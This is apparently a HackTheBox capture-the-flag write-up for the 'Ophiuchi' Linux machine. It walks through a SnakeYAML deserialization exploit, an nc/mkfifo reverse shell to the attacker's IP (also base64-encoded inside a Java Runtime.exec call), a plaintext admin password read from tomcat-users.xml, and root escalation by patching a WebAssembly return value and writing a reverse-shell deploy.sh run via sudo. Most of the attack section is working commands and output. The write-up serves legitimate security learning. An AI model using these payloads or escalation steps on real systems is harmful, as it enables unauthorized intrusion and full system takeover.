Wed 17 Feb 2021 01:05:18 AM +01

Overview

Hi everyone, m3dsec here, on this little walk, i'll be explaining how i solved Ophiuchi machine From Hackthebox, A Linux box that exposes a vulnerable yaml parser that we will abuse to get inside our target host, from there we will priv-escalate horizontally to the admin user account, Who have some special privileges over a little GoLang script that load an external webassembly binary file, Tweaking that webassembly binary, will provide us with code execution as root on the box


Target Informations

Machine Name : Ophiuchi
IP Adress    : 10.10.10.227
OS           : Linux
Creator      : felamos
Difficulty   : Medium
Base Points  : 30

Discovery and Reconnaissance

As usuall we start scaning using nmap, found two open TCP ports, SSH (22) and HTTP (8080)

m3dsec@local:~/ophiuchi.htb$ nmap -p- -v -min-rate 1000 -oA nmap/nmap-tcp-full 10.10.10.227
# Nmap 7.91 scan initiated Mon Feb 15 21:32:13 2021 as: nmap -p- -v -min-rate 1000 -oA nmap/nmap-tcp-full 10.10.10.227
Increasing send delay for 10.10.10.227 from 0 to 5 due to 42 out of 138 dropped probes since last increase.
Increasing send delay for 10.10.10.227 from 640 to 1000 due to 43 out of 143 dropped probes since last increase.
Warning: 10.10.10.227 giving up on port because retransmission cap hit (10).
Nmap scan report for ophiuchi.htb (10.10.10.227)
Host is up (0.093s latency).
Not shown: 61527 closed ports, 4006 filtered ports
PORT     STATE SERVICE
22/tcp   open  ssh
8080/tcp open  http-proxy

Read data files from: /usr/bin/../share/nmap

Enumerating HTTP - 8080

On port 8080 we have a little parser, with a big title that say's ONLINE YAML PARSER,


The first thing that glich in your mind as an attacker, is that any program that pars from the end-user, is likely to be vulnerable, whether it's yaml/json/xml, once the inputs are hostile, handlers code are notoriously vulnerable, with that in mind, A quick google search will give us pretty much what we need

SnakeYaml Deserilization exploited

For further explanation about the attack and how this was done, check Swapneil Kumar Dash , he already wrote a well explained article explaining the how and why

But first just to make sure that the app is vulnerable, I had to setup a local web server and send a request back to it.

As we can see, javax.script.ScriptEngineFactory was requested successfully.

There is also a tiny project to generate SnakeYAML deserialization payloads here, Lets Clone it

user@local:~/ophiuchi.htb/exp$ git clone https://github.com/artsploit/yaml-payload
Cloning into 'yaml-payload'...
remote: Enumerating objects: 10, done.
remote: Total 10 (delta 0), reused 0 (delta 0), pack-reused 10
Receiving objects: 100% (10/10), done.

Generate an encoded reverse shell:

user@local:~/ophiuchi.htb$ /bin/echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.40 9991 >/tmp/f'|base64 -w0|awk '{print "bash -c {echo,"$0"}|{base64,-d}|{bash,-i}"}'
bash -c {echo,cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTAuMTAuMTQuNDAgOTk5MSA+L3RtcC9mCg==}|{base64,-d}|{bash,-i}

We then modify on AwesomeScriptEngineFactory.java, To get something equal to:

user@local:~/ophiuchi.htb/exp$ cat yaml-payload/src/artsploit/AwesomeScriptEngineFactory.java|grep exec
            Runtime.getRuntime().exec("bash -c {echo,cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTAuMTAuMTQuNDAgOTk5MSA+L3RtcC9mCg==}|{base64,-d}|{bash,-i}");

Compile

user@local:~/ophiuchi.htb/exp/yaml-payload$ ll
total 24K
drwxr-xr-x 4 user user 4.0K Feb 17 01:43 .
drwxr-xr-x 3 user user 4.0K Feb 17 01:43 ..
drwxr-xr-x 8 user user 4.0K Feb 17 01:43 .git
drwxr-xr-x 4 user user 4.0K Feb 17 01:43 src
-rw-r--r-- 1 user user   53 Feb 17 01:43 .gitignore
-rw-r--r-- 1 user user  623 Feb 17 01:43 README.md
user@local:~/ophiuchi.htb/exp/yaml-payload$ javac src/artsploit/AwesomeScriptEngineFactory.java
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
user@local:~/ophiuchi.htb/exp/yaml-payload$ ls src/artsploit/
AwesomeScriptEngineFactory.class  AwesomeScriptEngineFactory.java

Again Server The payload with a simple python http server and setup a listener, hit parse and your shell will get back to you:



Internal Enumeration - Obtaining admin user

Now, as inside, I started by enumerating the environment, Tho the first file i checked included the admin password :

/opt/tomcat/conf$ cat tomcat-users.xml|grep -i pass
<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>
  you must define such a user - the username and password are arbitrary. It is
  them. You will also need to set the passwords to something appropriate.
  <user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
  <user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
  <user username="role1" password="<must-be-changed>" roles="role1"/>

I then simply loged in as admin, either su or ssh works just fine:

$ su admin
Password: whythereisalimit
id
uid=1000(admin) gid=1000(admin) groups=1000(admin)
python3 -c 'import pty; pty.spawn("/bin/bash")'
admin@ophiuchi:/opt/tomcat/conf$ 

as admin, listing priveleges with sudo -l, show us the next step

admin@ophiuchi:/opt$ sudo -l
Matching Defaults entries for admin on ophiuchi:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User admin may run the following commands on ophiuchi:
    (ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go

The admin user had the privileges to run /opt/wasm-functions/index.go as root

reading /opt/wasm-functions/index.go

package main

import (
  "fmt"
  wasm "github.com/wasmerio/wasmer-go/wasmer"
  "os/exec"
  "log"
)


func main() {
  bytes, _ := wasm.ReadBytes("main.wasm")

  instance, _ := wasm.NewInstance(bytes)
  defer instance.Close()
  init := instance.Exports["info"]
  result,_ := init()
  f := result.String()
  if (f != "1") {
    fmt.Println("Not ready to deploy")
  } else {
    fmt.Println("Ready to deploy")
    out, err := exec.Command("/bin/sh", "deploy.sh").Output()
    if err != nil {
      log.Fatal(err)
    }
    fmt.Println(string(out))
  }
}

What this code does, is using the famous wasmer-go runtime to read/extract a funtion result called info from main.wasm binary, it then assing that value to the variable f, check if its not equal to 1, if it does then it execute deploy.sh.

Running that snipet code, give us Not ready to deploy, its simply telling us that the result comming from main.wasm binary is 0.

admin@ophiuchi:/opt/wasm-functions$ sudo /usr/bin/go run /opt/wasm-functions/index.go
Not ready to deploy
admin@ophiuchi:/opt/wasm-functions$ 

I Then localy proceeded reversing main.wasm using wasm2wat from wabt (WebAssembly Binary Toolkit).

user@local:~/ophiuchi.htb/files/wasm-functions$ wasm2wat main.wasm 
(module
  (type (;0;) (func (result i32)))
  (func $info (type 0) (result i32)
    i32.const 0)
  (table (;0;) 1 1 funcref)
  (memory (;0;) 16)
  (global (;0;) (mut i32) (i32.const 1048576))
  (global (;1;) i32 (i32.const 1048576))
  (global (;2;) i32 (i32.const 1048576))
  (export "memory" (memory 0))
  (export "info" (func $info))
  (export "__data_end" (global 1))
  (export "__heap_base" (global 2)))
user@local:~/ophiuchi.htb/files/wasm-functions$ wasm2wat main.wasm > modified-code.wat

The wasm code itself wasn't that complicated:

Now here we don't really need to understand the whole code block, we can simply modify on that constant integer to 1, so when our program grab the result, we get a successfull execution.

(module
  (type (;0;) (func (result i32)))
  (func $info (type 0) (result i32)
    .const">i32.const 1)
  (table (;0;) 1 1 funcref)
  (memory (;0;) 16)
  (global (;0;) (mut i32) (.const">i32.const 1048576))
  (global (;1;) i32 (.const">i32.const 1048576))
  (global (;2;) i32 (.const">i32.const 1048576))
  (export "memory" (memory 0))
  (export "info" (func $info))
  (export "__data_end" (global 1))
  (export "__heap_base" (global 2)))

Recompile it again, using wat2wasm :

user@local:~/ophiuchi.htb/files/wasm-functions$ wat2wasm modified-code.wat -o modified-code.wasm

Send The modified files into the target host, and append a reverse shell into a file called deploy.sh :

admin@ophiuchi:/dev/shm$ wget 10.10.14.40/modified-code.wasm -O main.wasm
--2021-02-17 02:18:42--  http://10.10.14.40/modified-code.wasm
Connecting to 10.10.14.40:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 112 [application/wasm]
Saving to: ‘main.wasm’

main.wasm            100%[======================================================>]     112  --.-KB/s    in 0.003s 

2021-02-17 02:18:42 (31.3 KB/s) - ‘main.wasm’ saved [112/112]

admin@ophiuchi:/dev/shm$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.40 9991 >/tmp/f' > deploy.sh;chmod +x deploy.sh
admin@ophiuchi:/dev/shm$ ll
total 8
drwxrwxrwt  2 root  root    80 Feb 17 02:19 ./
drwxr-xr-x 17 root  root  3920 Feb 16 07:19 ../
-rwxrwxr-x  1 admin admin   79 Feb 17 02:19 deploy.sh*
-rw-rw-r--  1 admin admin  112 Feb 17 02:14 main.wasm

Set up a listener on our attacking box, and Trigger the exploit by running the go source code :

admin@ophiuchi:/dev/shm$ sudo /usr/bin/go run /opt/wasm-functions/index.go
Ready to deploy

And we got a shell back to our host

user@local:~/ophiuchi.htb/files/wasm-functions$ nc -vnlp 9991
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::9991
Ncat: Listening on 0.0.0.0:9991
Ncat: Connection from 10.129.84.176.
Ncat: Connection from 10.129.84.176:57380.
# id
uid=0(root) gid=0(root) groups=0(root)
# 



Conclusion

it was a lot of fun solving this box, big thanks to felamos for his amazing work, Also im alwasy open for any corrections or questions, Please feel free to contact me
@m3dsec.


Some Resources



back to main